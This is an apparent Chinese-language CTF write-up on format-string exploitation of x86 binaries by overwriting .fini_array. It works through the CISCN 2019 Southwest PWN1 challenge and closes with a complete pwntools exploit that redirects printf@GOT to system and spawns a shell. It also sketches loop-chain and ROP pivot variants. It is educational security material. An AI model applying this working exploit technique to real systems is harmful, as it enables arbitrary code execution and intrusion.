pwn知识——(x86)格式化字符串中利用fini_array及拓展
导言
这类题型还是我复现CISCN_2019_西南的PWN1的时候遇见的,算是涨知识了
前置知识
我们都知道,在程序中最先调用的不是main
,也不是__libc_start_main
,而是_start
,我们来看一下再x86下的_start
.text:08048420 public _start
.text:08048420 _start proc near ; DATA XREF: .LOAD:08048018↑o
.text:08048420 000 xor ebp, ebp ; Logical Exclusive OR
.text:08048422 000 pop esi
.text:08048423 -04 mov ecx, esp
.text:08048425 -04 and esp, 0FFFFFFF0h ; Logical AND
.text:08048428 -04 push eax
.text:08048429 000 push esp ; stack_end
.text:0804842A 004 push edx ; rtld_fini
.text:0804842B 008 push offset __libc_csu_fini ; fini
.text:08048430 00C push offset __libc_csu_init ; init
.text:08048435 010 push ecx ; ubp_av
.text:08048436 014 push esi ; argc
.text:08048437 018 push offset main ; main
.text:0804843C 01C call ___libc_start_main ; Call Procedure
.text:08048441 01C hlt ; Halt
.text:08048441 _start endp
.text:08048441
我们可以看到,在_start结束的时候会调用__libc_start_main
,而我们再看__libc_start_main的函数
// attributes: thunk
int __cdecl __libc_start_main(
int (__cdecl *main)(int, char **, char **),
int argc,
char **ubp_av,
void (*init)(void),
void (*fini)(void),
void (*rtld_fini)(void),
void *stack_end)
{
return _libc_start_main(main, argc, ubp_av, init, fini, rtld_fini, stack_end);
可以看到,包含有main,init,fini
,既然传进去了这些参数,那必然有他们的用处,main和init就不用多说了,fini是做什么的呢?我们得跟进看一看。
可以看到,__libc_start_main的返回地址就是__libc_csu_fini,证明它是在__libc_start_main在结束后就会调用__libc_csu_fini,要是我们能对它进行一些修改,那说不定就能做一些“坏事”。我们来看看跟它相关的东西。
我们可以在fini_array段找到与__libc_csu_fini相关的东西,是数组
.fini_array:0804979C ; ELF Termination Function Table
.fini_array:0804979C ; ===========================================================================
.fini_array:0804979C
.fini_array:0804979C ; Segment type: Pure data
.fini_array:0804979C ; Segment permissions: Read/Write
.fini_array:0804979C _fini_array segment dword public 'DATA' use32
.fini_array:0804979C assume cs:_fini_array
.fini_array:0804979C ;org 804979Ch
.fini_array:0804979C __do_global_dtors_aux_fini_array_entry dd offset __do_global_dtors_aux
.fini_array:0804979C ; DATA XREF: __libc_csu_init+16↑o
.fini_array:0804979C _fini_array ends ; Alternative name is '__init_array_end'
.fini_array:0804979C
在这个数组里存放着一些函数的指针,并且在进入__do_global_dtors_aux这个函数中会遍历并且调用各个指针,__do_global_dtors_aux_fini_array_entry是一个在程序结束时需要调用的函数的名称,它的地址偏移量在这里被存储,也就是说,如果我们能把__do_global_dtors_aux_fini_array_entry指向的地址变为main函数或者其它的地址,就可以进行一些非法操作
这就是fini_array在x86下格式化字符串的基本应用
不过需要注意的是,_init_array的下标是从小到大开始执行,而_fini_array的下标是从大到小开始执行
这对我们构造payload起到非常关键的作用
例题 [CISCN 2019西南]PWN1
checksec
基本没什么保护,看起来很简单的样子
代码审计
主函数有格式化字符串漏洞,而且看起来有后门给我们跳转的样子。但不可能,scanf限宽,只让我们输入64个字符,不够我们进行栈溢出,并且也只能执行一次格式化字符串漏洞,看起来无计可施了对不对?这个时候就该使用我们压箱底的fini_array了
因为__libc_start_main的函数返回地址是__libc_csu_fini,而fini_array与它相关联,我们只要把fini_array里的内容给修改了就好。
让我们看看最开始__do_global_dtors_aux_fini_array_entry指向谁
就跟我在上面写的一样,是__do_global_dtors_aux,那么我们只要把它修改成main函数的地址,就可以再次执行main函数,我们先修改一下
fini_array = 0x804979C
main_addr = 0x8048534
payload = p32(fini_array + 2) + p32(fini_array)
payload += b'%' + str(0x0804 - 0x08).encode() + b'c%4$hn' #减去0x08是因为前边已经输入了八字节
payload += b'%' + str(0x8534 - 0x0804).encode() + b'c%5$hn'
p.recvuntil('name?\n')
p.sendline(payload)
OK,现在我们再看看
可以看到已经成功修改了,因为在这里边会将指针遍历并调用,所以我们会再次执行main函数
至于为什么是倒序写fini_array,就跟我上面说的fini_array的下标是从大到小开始执行的,所以越往后越先执行
既然我们能再一次调用main函数,那么我们就可以在第一次main函数执行的时候把printf@got指向system@plt,在第二次main函数执行时,就可以直接往scanf里传/bin/sh\x00
,从而达到getshell的效果,跟后门一样。
Payload
from pwn import *
context(arch='i386', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
p = process('./xinan_PWN1')
#p = remote('node5.anna.nssctf.cn',28906)
elf = ELF('./xinan_PWN1')
fini_array = 0x804979C
printf_got = 0x804989C#elf.got['printf']
system_plt = 0x80483D0#elf.plt['system']
main_addr = 0x8048534#elf.symbols['main']
payload = p32(fini_array+2) + p32(printf_got + 2) + p32(printf_got) + p32(fini_array)
payload += b'%' + str(0x0804 - 0x10).encode() + b'c%4$hn'
payload += b'%5$hn'
payload += b'%' + str(0x83D0 - 0x0804).encode() + b'c%6$hn'
payload += b'%' + str(0x8534 - 0x83D0).encode() + b'c%7$hn'
gdb.attach(p)
p.recvuntil('name?\n')
p.sendline(payload)
p.recvuntil('name?\n')
p.sendline(b'/bin/sh\x00')
p.interactive()
后日谈
这玩意在x64的情况其实跟x86差不多(特指格式化字符串),就是多了寄存器传参,步骤会变得更加繁琐一点。这个技巧我觉得更适用于无计可施的时候,在其它攻击方法能用的时候,都不会挑这个来用,只有想不到别的办法的时候,它的价值才体现出来
当然,fini_array的作用远不止于此,它还可以和更多的攻击方式利用起来
比如
Loop链
fini_array[0] = __libc_csu_fini
fini_array[1] = target_addr
因为是从大到小开始执行,所以它的执行流程是这样的
_start-->__libc_start_main-->libc_csu_init-->main-->libc_csu_fini-->target_addr-->libc_csu_fini-->target_addr-->...
只要你不改变fini_array的值,我们就可以无限次执行下去,任何的one_byte漏洞都会被无限放大,实现任意地址写
ROP链攻击
这个常常与栈迁移联系在一起
当栈空间不足时,我们可以把栈迁移到fini_array里去,先构造Loop链使它无限循环,然后往fini_array * 0x10后布置ROP链
当ROP链布置完后,要想跳出循环
fini_array[0]修改为leave_ret
fini_array[1]修改为ret
修改完后就能getshell了
至于为什么没有例题...是因为我还没有遇到,如果有我后续会补上来的